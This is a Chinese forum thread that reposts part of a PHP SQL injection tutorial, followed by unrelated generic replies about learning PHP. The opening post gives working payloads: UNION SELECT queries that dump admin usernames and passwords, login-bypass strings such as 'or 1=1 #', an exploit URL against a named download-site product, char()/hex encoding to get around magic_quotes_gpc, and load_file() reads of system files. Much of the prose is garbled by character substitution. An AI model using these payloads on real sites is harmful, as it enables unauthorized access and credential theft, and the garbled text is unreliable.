仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 1709|回复: 20
打印 上一主题 下一主题

[学习教程] PHP网页设计php注入2

[复制链接]
谁可相欹 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-2-4 00:29:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
大家如果能懂得“熟能生巧”的道理也就明白了这并不是浪费时间,同时这也可以减轻板主的负担,让他们有时间去处理更难的问题。   咱们构建注入语句吧
在输出框输出
a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from
alphaauthor#放到sql语句中成了
select * from alphadb where title like %a% and 1=2 union select
1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %
了局如图17哦
怎样,出来了吧,哈哈,一切尽在把握当中。
C:上面咱们从注上天点上在来看一下各类注入进击体例
1)    起首来看看后台上岸哦
代码先
//login.php
.......
$query="select * from alphaauthor where UserName= "
.$HTTP_POST_VARS["UserName"]." and
Password= ". $HTTP_POST_VARS["Password"]." ";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo "后台上岸胜利";
}
esle
{
echo "从头上岸";
exit;

.........
?>
Username和password没有经由任何处置直接放到sql中履行了。
看看咱们怎样绕过呢?
最经典的仍是谁人:
在用户名和暗码框里都输出
‘or =
带入sql语句中成了
select * from alphaauthor where UserName= or = and Password= or =
如许带入失掉的$data一定为真,也就是咱们胜利上岸了。
还有其他的绕过办法,道理是一样的,就是想举措让$data前往是真就能够了。
咱们可以用上面的这些中办法哦
1.
用户名和暗码都输出 or a = a
Sql成了
select * from alphaauthor where UserName= or a = a and Password=
or a = a
2.
用户名和暗码都输出 or 1=1 and ‘ =
Sql成了
select * from alphaauthor where UserName= or 1=1 and ‘ =
and Password= or 1=1 and ‘ =

用户名和暗码都输出 or 2>1 and ‘ =
Sql成了
select * from alphaauthor where UserName= or 2>1 and ‘ =
and Password= or 2>1 and ‘ =
3.
用户名输出 or 1=1 # 暗码随意输出
Sql成了
select * from alphaauthor where UserName= or 1=1 # and
Password= anything

前面局部被正文失落了,固然前往仍是真哦。
        4.
假定admin的id=1的话你也能够
用户名输出 or id=1 # 暗码随意输出
Sql成了
select * from alphaauthor where UserName= or id=1 # and Password= anything
如图18
看看后果图19

怎样?直接上岸了哦!
俗语说的好,只要想不到没有做不到。
还有更多的机关办法等着课后本人想啦。
2)第二个经常使用注入的中央应当算是前台材料显示的中央了。
下面已屡次提到了呀,并且触及了数字型,字符型等等,这里就不再反复了哈。
只是举个例子回忆一下
碧浪潮声下载站 - v2.0.3 lite有注入破绽,代码就不再列出来了
直接看了局
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%
201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%
20dl_users
如图20
看看,咱们又失掉咱们想要的了
用户名alpha
暗码一长串。
为何咱们要把password放在3字段处,把username放在5字段处了,咱们下面已提过了哦,就是咱们猜想3和5段显示的应当是字符串型,而与咱们要显示的username和password的字段类型应当不异,所以咱们如许放了哦。
为何要用18个字段呢?不晓得人人仍是否记得在union select引见那边咱们提到union必需请求前后select的字段数不异,咱们可以经由过程增添select的个数来猜想到需求18个字段,只要如许union select的内容才会正常显示哦!
3)其它如材料修正,用户注册的中央次要得有效户品级的使用。
咱们在下面讲述update和insert的时分都已讲到,由于不是很经常使用,这里就不再论述,鄙人面将会提到一些关于update和insert的初级使用技能。
二:上面将要进入magic_quotes_gpc=On时分的注入进击教授教养环节了
    当magic_quotes_gpc=On的时分,交的变量中一切的 (单引号),
" (双引号), \ (反斜线) 和 空字符会主动转为含有反斜线的本义字符。
    这就使字符型注入的办法化为乌有,这时候候咱们就只能注入数字型且没有
Intval()处置的情形了,数字型的咱们已讲了良多了是吧,因为数字型没有效到单引号天然就没有绕过的成绩了,关于这类情形咱们直接注入就能够了。
1)假设是字符型的就必需得像上面这个模样,没有在字符上加引号 。
     
这里咱们要用到一些字符串处置函数先,
字符串处置函数有良多,这里咱们次要讲上面的几个,详细可以参照mysql中文参考手册7.4.10。
     
    char() 将参数注释为整数而且前往由这些整数的ASCII代码字符构成的一个字符串。
固然你也能够用字符的16进制来取代字符,如许也能够的,办法就是在16进制后面加0x,看上面的例子就分明了。
        //login.php
    ......
$query="select * from ".$art_system_db_table[ user ]."
where UserName=$username and Password= ".$Pw." ";
......
?>
假定咱们晓得后台的用户名是alpha
转化成ASCII后是char(97,108,112,104,97)
转化成16进制是0x616C706861
(咱们将在光盘中供应16进制和ascii转换东西)
好了直接在阅读器里输出:
http://localhost/site/admin/login.php?username=char(97,108,112,104,97)%23
sql语句酿成:
select * from alphaAut
hor where UserName=char(97,108,112,104,97)# and Password=
如图21

    正如咱们希冀的那样,他顺遂履行了,咱们失掉咱们想要的。
    固然咯,咱们也能够如许机关
http://localhost/site/admin/login.php?username=0x616C706861%23
sql语句酿成:
select * from alphaAuthor where UserName=0x616C706861%23# and Password=
咱们再一次是胜利者了。很有成绩感吧,
也许你会问咱们是不是可以把#也放在char()里
实践上char(97,108,112,104,97)相当于 alpha
注重是alpha上加引号,暗示alpha字符串。
咱们晓得在mysql中假如履行
mysql> select * from dl_users where username=alpha;
ERROR 1054 (42S22): Unknown column alpha in where clause
看前往毛病了。由于他会以为alpha是一个变量。所以咱们得在alpha上加引号。
以下
mysql> select * from dl_users where username= alpha ;
如许才是准确的。
假如你把#号也放到那边去了,就成了 alpha#
带入sql语句中
select * from dl_users where username= alpha# ;
固然是甚么也没有了,由于连alpha#这个用户都没有。
好,上面咱们再来看个例子,
    //display.php
    ......
$query="select * from ".$art_system_db_table[ article ]."
where type=$type;
......
?>
代码依据类型来显示内容,$type没有任何过滤,且没有加引号放入法式中。
假定type中含有xiaohua类,xiaohua的char()转换后是
char(120,105,97,111,104,117,97)
咱们构建
http://localhost/display.php?type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
带入sql语句中为:
select * from ".$art_system_db_table[ article ]."
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
看看,咱们的用户名和暗码照样出来了哦!没有截图,想像一下咯:P
2)    也许有人会问,在magic_quotes_gpc=On的情形下功效壮大的load_file()还能不克不及用呢?
这恰是咱们上面要将的成绩了,load_file()的利用格局是load_file(‘文件途径 )
咱们发明只需把‘文件途径 转化成char()就能够了。碰运气哦
load_file(‘c:/boot.ini )转化成
load_file(char(99,58,47,98,111,111,116,46,105,110,105))
图22
    放到详细注入里就是
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%
201,2,load_file(char
(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,
17,18
看图23
    看看,咱们看到了boot.ini的内容了哦。
很惋惜的是into outfile 不克不及绕过,否则就更爽了。然而仍是有一个中央可使用select * from table into outfile 那就是....(先卖个关子,上面会告知你)
  应该大致熟悉了一些学习过程,也许我的过程和你的有些出路,但是不管怎么样是殊途同归,我写这么多,也只是给大家一个借鉴的机会,至于好与不好,默默不敢打包票^0^
老尸 该用户已被删除
沙发
发表于 2015-2-4 13:13:54 | 只看该作者
写的比较杂,因为我也是个新手,不当至于大家多多指正。
简单生活 该用户已被删除
板凳
发表于 2015-2-6 15:33:37 | 只看该作者
因为blog这样的可以让你接触更多要学的知识,可以接触用到类,模板,js ,ajax
爱飞 该用户已被删除
地板
发表于 2015-2-9 07:13:50 | 只看该作者
多看优秀程序员编写的代码,仔细理解他们解决问题的方法,对自身有很大的帮助。
5#
发表于 2015-2-10 10:31:10 | 只看该作者
兴趣是最好的老师,百度是最好的词典。
再现理想 该用户已被删除
6#
发表于 2015-2-16 00:06:36 | 只看该作者
要进行开发,搭建环境是首先需要做的事,windows下面我习惯把环境那个安装在C盘下面,因为我配的环境经常出现诡异事件,什么事都没做环境有的时候就不能用啦。
变相怪杰 该用户已被删除
7#
发表于 2015-2-26 16:28:53 | 只看该作者
写的比较杂,因为我也是个新手,不当至于大家多多指正。
海妖 该用户已被删除
8#
发表于 2015-3-8 16:05:32 | 只看该作者
找到的的资料很多都是在论坛里的,需要注册,所以我一般没到一个论坛都注册一个id,所有的id都注册成一样的,这样下次再进来的时候就不用重复注册啦。当然有些论坛的某些资料是需要的付费的。
深爱那片海 该用户已被删除
9#
发表于 2015-3-9 10:21:50 | 只看该作者
说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年  具体的记不清啦,囧。
再见西城 该用户已被删除
10#
发表于 2015-3-16 21:28:50 | 只看该作者
本文当是我的笔记啦,遇到的问题随时填充
活着的死人 该用户已被删除
11#
发表于 2015-3-17 02:09:12 | 只看该作者
Ps:以上纯属原创,如有雷同,纯属巧合
冷月葬花魂 该用户已被删除
12#
发表于 2015-3-18 07:54:36 | 只看该作者
本人接触php时间不长,算是phper中的小菜鸟一只吧。由于刚开始学的时候没有名师指,碰过不少疙瘩,呗很多小问题卡过很久,白白浪费不少宝贵的时间,在次分享一些子的学习的心得。
蒙在股里 该用户已被删除
13#
发表于 2015-3-25 13:22:04 | 只看该作者
基础有没有对学习php没有太大区别,关键是兴趣。
金色的骷髅 该用户已被删除
14#
发表于 2015-3-25 23:18:19 | 只看该作者
我学习了一段时间后,我发现效果并不好(估计是我自身的问题)。因为一个人的精力总是有限的,同时学习这么多,会导致每个的学习时间都得不到保证。
飘飘悠悠 该用户已被删除
15#
发表于 2015-3-27 11:11:51 | 只看该作者
因为blog这样的可以让你接触更多要学的知识,可以接触用到类,模板,js ,ajax
莫相离 该用户已被删除
16#
发表于 2015-3-27 23:11:26 | 只看该作者
Apache不是非得用80或者8080端口的,我刚开始安得时候就是80端口老占用,就用了个 81端口,结果照常,就是输localhost的时候,应该输入为 localhost:81
不帅 该用户已被删除
17#
发表于 2015-3-28 05:08:37 | 只看该作者
多看优秀程序员编写的代码,仔细理解他们解决问题的方法,对自身有很大的帮助。
只想知道 该用户已被删除
18#
发表于 2015-3-30 03:25:12 | 只看该作者
最后介绍一个代码出错,但是老找不到错误方法,就是 go to wc (囧),出去换换气没准回来就找到错误啦。
小妖女 该用户已被删除
19#
发表于 2015-4-6 09:26:07 | 只看该作者
我还是强烈建议自己搭建php环境。因为在搭建的过程中你会遇到一些问题,通过搜索或是看php手册解决问题后,你会更加深刻的理解它们的工作原理,了解到php配置文件中的一些选项设置。
小魔女 该用户已被删除
20#
发表于 2015-4-11 07:56:18 | 只看该作者
其实没啥难的,多练习,练习写程序,真正的实践比看100遍都有用。不过要熟悉引擎
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-4-28 21:28

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表